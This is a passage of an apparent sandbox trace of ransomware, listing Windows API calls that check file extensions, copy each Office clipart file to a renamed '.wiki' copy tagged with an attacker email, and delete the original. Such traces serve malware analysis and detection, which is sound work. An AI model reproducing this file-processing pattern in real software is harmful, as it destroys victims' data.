Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0193.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0193.646] lstrlenW (lpString=".doc") returned 4 [0193.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.646] lstrlenW (lpString=".docx") returned 5 [0193.646] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.646] lstrlenW (lpString=".pdf") returned 4 [0193.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.646] lstrlenW (lpString=".xls") returned 4 [0193.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.646] lstrlenW (lpString=".xlsx") returned 5 [0193.646] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.646] lstrlenW (lpString=".ppt") returned 4 [0193.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0193.647] lstrlenW (lpString=".zip") returned 4 [0193.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.647] lstrlenW (lpString=".rar") returned 4 [0193.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.647] lstrlenW (lpString=".bz2") returned 4 [0193.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.647] lstrlenW (lpString=".7z") returned 3 [0193.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0193.647] lstrlenW (lpString=".dbf") returned 4 [0193.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0193.647] lstrlenW (lpString=".1cd") returned 4 [0193.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0193.647] lstrlenW (lpString=".jpg") returned 4 [0193.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.647] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.647] lstrlenW (lpString="J0105360.WMF") returned 12 [0193.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.648] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=8860) returned 1 [0193.648] CloseHandle (hObject=0x200) returned 1 [0193.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf")) returned 0x20 [0193.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.648] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.648] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.648] GetLastError () returned 0x0 [0193.649] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x229c, lpOverlapped=0x0) returned 1 [0193.650] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x22a0, lpOverlapped=0x0) returned 1 [0193.651] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.651] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.651] SetEndOfFile (hFile=0x1f8) returned 1 [0193.651] CloseHandle (hObject=0x1f8) returned 1 [0193.651] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.651] SetEndOfFile (hFile=0x200) returned 1 [0193.652] CloseHandle (hObject=0x200) returned 1 [0193.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0193.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0193.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0193.657] lstrlenW (lpString=".doc") returned 4 [0193.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.657] lstrlenW (lpString=".docx") returned 5 [0193.657] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.657] lstrlenW (lpString=".pdf") returned 4 [0193.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.657] lstrlenW (lpString=".xls") returned 4 [0193.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.657] lstrlenW (lpString=".xlsx") returned 5 [0193.657] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.657] lstrlenW (lpString=".ppt") returned 4 [0193.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0193.658] lstrlenW (lpString=".zip") returned 4 [0193.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.658] lstrlenW (lpString=".rar") returned 4 [0193.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.658] lstrlenW (lpString=".bz2") returned 4 [0193.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.658] lstrlenW (lpString=".7z") returned 3 [0193.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0193.658] lstrlenW (lpString=".dbf") returned 4 [0193.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0193.658] lstrlenW (lpString=".1cd") returned 4 [0193.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0193.658] lstrlenW (lpString=".jpg") returned 4 [0193.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0193.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0193.658] lstrlenW (lpString=".doc") returned 4 [0193.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.658] lstrlenW (lpString=".docx") returned 5 [0193.658] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.658] lstrlenW (lpString=".pdf") returned 4 [0193.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.658] lstrlenW (lpString=".xls") returned 4 [0193.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.658] lstrlenW (lpString=".xlsx") returned 5 [0193.658] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0193.658] lstrlenW (lpString=".ppt") returned 4 [0193.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0193.659] lstrlenW (lpString=".zip") returned 4 [0193.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.659] lstrlenW (lpString=".rar") returned 4 [0193.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.659] lstrlenW (lpString=".bz2") returned 4 [0193.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.659] lstrlenW (lpString=".7z") returned 3 [0193.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0193.659] lstrlenW (lpString=".dbf") returned 4 [0193.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0193.659] lstrlenW (lpString=".1cd") returned 4 [0193.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0193.659] lstrlenW (lpString=".jpg") returned 4 [0193.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.659] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.659] lstrlenW (lpString="J0105368.WMF") returned 12 [0193.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.660] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=12380) returned 1 [0193.660] CloseHandle (hObject=0x200) returned 1 [0193.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf")) returned 0x20 [0193.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.660] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.660] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.661] GetLastError () returned 0x0 [0193.661] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x305c, lpOverlapped=0x0) returned 1 [0193.662] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x3060, lpOverlapped=0x0) returned 1 [0193.664] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.664] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.664] SetEndOfFile (hFile=0x1f8) returned 1 [0193.664] CloseHandle (hObject=0x1f8) returned 1 [0193.664] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.664] SetEndOfFile (hFile=0x200) returned 1 [0193.665] CloseHandle (hObject=0x200) returned 1 [0193.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0193.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0193.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0193.665] lstrlenW (lpString=".doc") returned 4 [0193.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.665] lstrlenW (lpString=".docx") returned 5 [0193.665] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.665] lstrlenW (lpString=".pdf") returned 4 [0193.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.666] lstrlenW (lpString=".xls") returned 4 [0193.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.666] lstrlenW (lpString=".xlsx") returned 5 [0193.666] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.666] lstrlenW (lpString=".ppt") returned 4 [0193.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0193.666] lstrlenW (lpString=".zip") returned 4 [0193.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.666] lstrlenW (lpString=".rar") returned 4 [0193.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.666] lstrlenW (lpString=".bz2") returned 4 [0193.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.666] lstrlenW (lpString=".7z") returned 3 [0193.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0193.666] lstrlenW (lpString=".dbf") returned 4 [0193.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0193.666] lstrlenW (lpString=".1cd") returned 4 [0193.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0193.666] lstrlenW (lpString=".jpg") returned 4 [0193.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0193.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0193.667] lstrlenW (lpString=".doc") returned 4 [0193.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.667] lstrlenW (lpString=".docx") returned 5 [0193.667] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.667] lstrlenW (lpString=".pdf") returned 4 [0193.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.667] lstrlenW (lpString=".xls") returned 4 [0193.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.667] lstrlenW (lpString=".xlsx") returned 5 [0193.667] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.667] lstrlenW (lpString=".ppt") returned 4 [0193.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0193.667] lstrlenW (lpString=".zip") returned 4 [0193.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.667] lstrlenW (lpString=".rar") returned 4 [0193.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.667] lstrlenW (lpString=".bz2") returned 4 [0193.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.667] lstrlenW (lpString=".7z") returned 3 [0193.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0193.667] lstrlenW (lpString=".dbf") returned 4 [0193.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0193.667] lstrlenW (lpString=".1cd") returned 4 [0193.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned 63 [0193.667] lstrlenW (lpString=".jpg") returned 4 [0193.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.668] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.668] lstrlenW (lpString="J0105376.WMF") returned 12 [0193.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.668] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4964) returned 1 [0193.668] CloseHandle (hObject=0x200) returned 1 [0193.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf")) returned 0x20 [0193.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.668] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.669] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.669] GetLastError () returned 0x0 [0193.669] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1364, lpOverlapped=0x0) returned 1 [0193.902] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1370, lpOverlapped=0x0) returned 1 [0193.904] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.904] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.904] SetEndOfFile (hFile=0x1f8) returned 1 [0193.905] CloseHandle (hObject=0x1f8) returned 1 [0193.905] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.905] SetEndOfFile (hFile=0x200) returned 1 [0193.906] CloseHandle (hObject=0x200) returned 1 [0193.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0193.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0193.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0193.907] lstrlenW (lpString=".doc") returned 4 [0193.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.907] lstrlenW (lpString=".docx") returned 5 [0193.907] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.907] lstrlenW (lpString=".pdf") returned 4 [0193.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.907] lstrlenW (lpString=".xls") returned 4 [0193.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.907] lstrlenW (lpString=".xlsx") returned 5 [0193.907] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.907] lstrlenW (lpString=".ppt") returned 4 [0193.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0193.907] lstrlenW (lpString=".zip") returned 4 [0193.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.907] lstrlenW (lpString=".rar") returned 4 [0193.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.907] lstrlenW (lpString=".bz2") returned 4 [0193.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.907] lstrlenW (lpString=".7z") returned 3 [0193.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0193.907] lstrlenW (lpString=".dbf") returned 4 [0193.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0193.907] lstrlenW (lpString=".1cd") returned 4 [0193.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0193.908] lstrlenW (lpString=".jpg") returned 4 [0193.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0193.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0193.908] lstrlenW (lpString=".doc") returned 4 [0193.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.908] lstrlenW (lpString=".docx") returned 5 [0193.908] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.908] lstrlenW (lpString=".pdf") returned 4 [0193.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.908] lstrlenW (lpString=".xls") returned 4 [0193.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.908] lstrlenW (lpString=".xlsx") returned 5 [0193.908] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") 